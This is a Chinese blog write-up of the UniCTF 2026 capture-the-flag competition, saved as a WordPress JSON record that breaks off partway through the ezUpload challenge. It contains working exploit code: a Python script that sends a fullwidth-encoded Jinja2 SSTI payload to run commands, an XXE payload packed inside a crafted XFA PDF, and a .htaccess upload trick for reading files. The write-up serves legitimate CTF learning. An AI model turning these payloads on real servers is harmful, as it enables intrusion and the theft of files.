{"id":2603,"date":"2026-02-19T04:13:55","date_gmt":"2026-02-18T20:13:55","guid":{"rendered":"https:\/\/www.sanjiuctf.com\/?p=2603"},"modified":"2026-02-19T04:13:56","modified_gmt":"2026-02-18T20:13:56","slug":"2026-unictfwp","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.com\/?p=2603","title":{"rendered":"2026-uniCTFwp"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u524d\u8a00<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u6700\u540e\u4e24 \u4e09 \u5929\u8fd9\u4e2a\u6bd4\u8d5b\u6ca1\u6709\u6253 \u5728\u770b\u7684\u65f6\u5019\u7ed3\u675f\u4e86 \u5fd8\u4e86\u8fd9\u4e2a \u54c8\u54c8\u54c8\uff0c\u6211\u8fde\u8c03\u67e5\u95ee\u5377\u90fd\u6ca1\u6709\u586b\u5199 \u597d\u50cf\u6700\u540e\u662f40\u540d\u5de6\u53f3\u53c2\u8d5b\u4eba\u6570\u633a\u591a\u7684\u67091200\u961f\u5de6\u53f3<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6bd4\u8d5b\u7b80\u4ecb:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF \u00d7 UnionCTF\n\u7531\u6765\u81ea\u5168\u56fd\u5404\u5730 10 \u6240\u9ad8\u6821\u6218\u961f\u53ca\u793e\u4f1a\u5b89\u5168\u7ec4\u7ec7 \u8054\u5408\u53d1\u8d77\u7684\u7f51\u7edc\u5b89\u5168\u7ade\u8d5b\u6b63\u5f0f\u5f00\u542f\u3002\u672c\u6b21\u8d5b\u4e8b\u91c7\u7528 4 \u4eba\u4e00\u7ec4 \u7684\u53c2\u8d5b\u5f62\u5f0f\uff0c\u8d5b\u7a0b\u6301\u7eed\u4e00\u5468\uff0c\u4ee5\u201c\u4ee5\u8d5b\u4fc3\u5b66\u3001\u4ee5\u8d5b\u4fc3\u7ec3\u201d\u4e3a\u6838\u5fc3\u7406\u5ff5\uff0c\u81f4\u529b\u4e8e\u6253\u9020\u4e00\u4e2a\u9ad8\u8d28\u91cf\u3001\u5f3a\u4ea4\u6d41\u3001\u91cd\u6210\u957f\u7684\u7f51\u7edc\u5b89\u5168\u7ade\u6280\u5e73\u53f0\u3002\u8d5b\u4e8b\u7279\u522b\u8bbe\u7f6e \u65b0\u751f\u8d5b\u9053 \/ \u8001\u751f\u8d5b\u9053 \u53cc\u8d5b\u5236\uff0c\u517c\u987e\u4e0d\u540c\u57fa\u7840\u4e0e\u9636\u6bb5\u7684\u9009\u624b\uff0c\u8425\u9020\u516c\u5e73\u3001\u53cb\u597d\u3001\u79ef\u6781\u5411\u4e0a\u7684\u7ade\u8d5b\u6c1b\u56f4\uff0c\u8ba9\u6bcf\u4e00\u4f4d\u53c2\u8d5b\u8005\u90fd\u80fd\u6709\u6240\u6536\u83b7\u3002\u6211\u4eec\u8054\u5408\uff01\u6210\u4e24\u9762\u5305\u5939\u829d\u58eb\uff01\uff01 \ud83e\uddc0\ud83c\udf5e\ud83e\uddc0\n\u65f6\u95f4\uff1a2026\/1\/25\/10:00\u20132026\/1\/31\/10:00\n\u5956\u9879\n\u793e\u4f1a\u8d5b\u9053\uff1a588 288 188 \u75af\u72c2\u661f\u671f\u56dbx7 *\u8bc1\u4e66\n\u65b0\u751f\u8d5b\u9053\uff1a 588 288x2 188x3 \u75af\u72c2\u661f\u671f\u56dbx4 *\u8bc1\u4e66\n\u5355\u65b9\u5411\u5956\u91d1\uff1a\u65b0\u751f\u8d5b\u9053\u5404\u65b9\u5411\u5355\u699c\u7b2c\u4e00*88<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-271.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"430\" height=\"565\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-271.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2604\"  sizes=\"auto, (max-width: 430px) 100vw, 430px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6765\u81ea10\u6821\u8054\u5408\u7684UNICTF-2025\u9898\u76ee\u5df2\u4e0a\u7ebfctfplus<br>\u4e24\u79cd\u8bbf\u95ee\u65b9\u5f0f\uff1a<br>1.\u8bbf\u95ee <a href=\"https:\/\/www.ctfplus.cn\/learning\/problem\/excellent-problemSet\/detail\/2019281126589206528\">https:\/\/www.ctfplus.cn\/learning\/problem\/excellent-problemSet\/detail\/2019281126589206528<\/a> \u9898\u96c6<br>2.\u524d\u5f80<a href=\"https:\/\/www.ctfplus.cn\/learning\/problem\/problem-bank\">\u516c\u5f00\u9898\u76ee<\/a>\u641c\u7d22\u6807\u7b7e UNICTF2025<br>\u5b98\u65b9WP\u53ef\u5728 <a href=\"https:\/\/www.ctfplus.cn\/1096\/discussion-detail\">https:\/\/www.ctfplus.cn\/1096\/discussion-detail<\/a> \u83b7\u53d6\u3002 @\u5168\u4f53\u6210\u5458<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">UniCTF Official WriteUp\uff1a<br><a href=\"https:\/\/my.feishu.cn\/docx\/IB4Ad9hP3o0HWFxRxVtcBIKNnJb?from=from_copylink\">https:\/\/my.feishu.cn\/docx\/IB4Ad9hP3o0HWFxRxVtcBIKNnJb?from=from_copylink<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Web<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">GlyphWeaver<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-272-1024x363.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"363\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-272-1024x363.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2605\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-273-1024x481.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"481\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-273-1024x481.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2606\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-274-1024x547.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"547\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-274-1024x547.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2607\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-275-1024x627.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"627\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-275-1024x627.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2608\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u73af\u5883<\/strong>\uff1aFlask + Jinja2\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6f0f\u6d1e<\/strong>\uff1aSSTI\uff08\u670d\u52a1\u7aef\u6a21\u677f\u6ce8\u5165\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>WAF<\/strong>\uff1a\u540e\u7aef\u68c0\u6d4b\u5e76\u62e6\u622a\u4e86 <code>{{<\/code>\u3001<code>os<\/code> \u7b49 ASCII \u5173\u952e\u8bcd\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7ed5\u8fc7<\/strong>\uff1a\u9898\u76ee\u63d0\u793a \u201cTypography cleanup (CJK-friendly)\u201d \u4e14\u65e5\u5fd7\u51fa\u73b0 <code>normalize<\/code>\uff0c\u6697\u793a\u4f7f\u7528\u4e86 <strong>Unicode NFKC \u6807\u51c6\u5316<\/strong>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c06 Payload \u4e2d\u7684 ASCII \u5b57\u7b26\u8f6c\u6362\u4e3a <strong>\u5168\u89d2\u5b57\u7b26\uff08Fullwidth\uff09<\/strong> \u5373\u53ef\u7ed5\u8fc7 WAF \u68c0\u67e5\u3002<\/li>\n\n\n\n<li>\u540e\u7aef\u5728\u6e32\u67d3\u524d\u4f1a\u5c06\u5168\u89d2\u5b57\u7b26\u8fd8\u539f\u4e3a ASCII \u5b57\u7b26\uff0c\u4ece\u800c\u89e6\u53d1 SSTI\u3002<\/li>\n\n\n\n<li><code>\/api\/preview<\/code> \u4ec5\u505a\u53c2\u6570\u66ff\u6362\uff0c\u65e0\u6cd5\u6267\u884c\u4ee3\u7801\uff1b\u9700\u5229\u7528 <strong><code>\/api\/export<\/code><\/strong> \u63a5\u53e3\u89e6\u53d1\u4e8c\u6b21\u6e32\u67d3\u6216\u771f\u5b9e\u6267\u884c\u73af\u5883\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport time\nimport re\n\nbase_url = \"http:\/\/5000-8c6a258a-c9a5-43f4-9b31-5b292bb65278.challenge.ctfplus.cn\"\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat \/flag').read() }}\"\n\ndef to_fullwidth(s):\n    return \"\".join(chr(ord(c) + 0xFEE0) if 33 &lt;= ord(c) &lt;= 126 else chr(0x3000) if c == \" \" else c for c in s)\n\ndata = {\n    \"template_id\": \"classic\",\n    \"display_name\": \"a\",\n    \"title\": \"b\",\n    \"motto\": to_fullwidth(payload),\n    \"footer\": \"c\"\n}\n\nresp = requests.post(f\"{base_url}\/api\/export\", json=data).json()\ntask_id = resp&#91;\"taskId\"]\nprint(f\"Task ID: {task_id}\")\n\nwhile True:\n    time.sleep(1)\n    res = requests.get(f\"{base_url}\/api\/task\/{task_id}\").json()\n    if res.get(\"status\") == \"done\":\n        flag = re.search(r'(UniCTF{.*?})', res&#91;\"html\"])\n        if flag:\n            print(flag.group(1))\n        else:\n            print(res&#91;\"html\"])\n        break<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-276.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"764\" height=\"86\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-276.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2609\"  sizes=\"auto, (max-width: 764px) 100vw, 764px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{edf211ed-a970-4794-b415-5cf0a1eb826c}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Web-SecureDoc<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b80\u5355\u67e5\u770b\u9898\u76ee\uff0c\u5f97\u5230\u5173\u952e\u4fe1\u606f\uff0c\u662fXFA\u6f0f\u6d1e\uff1aXFA\uff08XML Forms Architecture\uff09\u662fPDF\u4e2d\u7684\u4e00\u79cd\u57fa\u4e8eXML\u7684\u8868\u5355\u6280\u672f\u3002\u5f53PDF\u89e3\u6790\u5668\u5904\u7406XFA\u5185\u5bb9\u65f6\uff0c\u5982\u679c\u6ca1\u6709\u6b63\u786e\u914d\u7f6eXML\u89e3\u6790\u5668\uff08\u7981\u7528\u5916\u90e8\u5b9e\u4f53\uff09\uff0c\u5c31\u4f1a\u5bfc\u81f4XXE\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u90a3\u4e48\u53ea\u9700\u8981\u518dpdf\u4e2d\u6dfb\u52a0\u4e0a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!DOCTYPE root &#91;\n  &lt;!ENTITY xxe SYSTEM \"file:\/\/\/flag\"&gt;\n]&gt;\n&lt;data&gt;&amp;xxe;&lt;\/data&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53bb\u505a\u8bfb\u53d6\u5373\u53ef\uff0c\u540e\u9762\u7ecf\u8fc7\u51e0\u6b21\u8c03\u6574\uff0c\u5f97\u5230\u4e0b\u9762\u7684playload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>%PDF-1.5\n1 0 obj\n&lt;&lt;\/Type\/Catalog\/Pages 2 0 R\/AcroForm &lt;&lt;\/XFA 3 0 R&gt;&gt;&gt;&gt;\nendobj\n2 0 obj\n&lt;&lt;\/Type\/Pages\/Count 1\/Kids &#91;4 0 R]&gt;&gt;\nendobj\n3 0 obj\n&lt;&lt;\/Length 120&gt;&gt;\nstream\n&lt;?xml version=\"1.0\"?&gt;\n&lt;!DOCTYPE xdp &#91;\n&lt;!ENTITY xxe SYSTEM \"file:\/\/\/flag\"&gt;\n]&gt;\n&lt;xdp:xdp xmlns:xdp=\"http:\/\/ns.adobe.com\/xdp\/\"&gt;\n&lt;datasets&gt;&lt;data&gt;&amp;xxe;&lt;\/data&gt;&lt;\/datasets&gt;\n&lt;\/xdp:xdp&gt;\nendstream\nendobj\n4 0 obj\n&lt;&lt;\/Type\/Page\/Parent 2 0 R\/MediaBox &#91;0 0 612 792]&gt;&gt;\nendobj\nxref\n0 5\n0000000000 65535 f \n0000000009 00000 n \n0000000092 00000 n \n0000000136 00000 n \n0000000297 00000 n \ntrailer\n&lt;&lt;\/Size 5\/Root 1 0 R&gt;&gt;\nstartxref\n409\n%%EOF<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-277.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"844\" height=\"869\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-277.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2610\"  sizes=\"auto, (max-width: 844px) 100vw, 844px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0a\u4f20\u540e\u6210\u529f\u5f97\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-278-1024x397.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"397\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-278-1024x397.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2611\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{8b9bdb70-964b-42ed-bd16-e20334074224}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ezUpload<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-279-1024x443.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"443\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-279-1024x443.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2612\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-280-745x1024.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"745\" height=\"1024\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-280-745x1024.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2613\"  sizes=\"auto, (max-width: 745px) 100vw, 745px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u9996\u5148\u67e5\u770b\u4e86\u6846\u67b6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-281-1024x655.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"655\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-281-1024x655.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2614\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528ai\u641c\u7d22\u4e86\u4e00\u4e0b\u5df2\u77e5\u7684\u6f0f\u6d1e<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-282-944x1024.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"944\" height=\"1024\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-282-944x1024.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2615\"  sizes=\"auto, (max-width: 944px) 100vw, 944px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u53ef\u4ee5\u4f20\u4e00\u4e2a.htaccess\u6587\u4ef6\u6765\u8bfb\u53d6\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-283.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"681\" height=\"157\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-283.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2616\"  sizes=\"auto, (max-width: 681px) 100vw, 681px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-284-1024x339.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"339\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-284-1024x339.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2617\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0a\u4f20.htaccess\u540e\u518d\u968f\u4fbf\u4f20\u4e00\u4e2atxt\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' 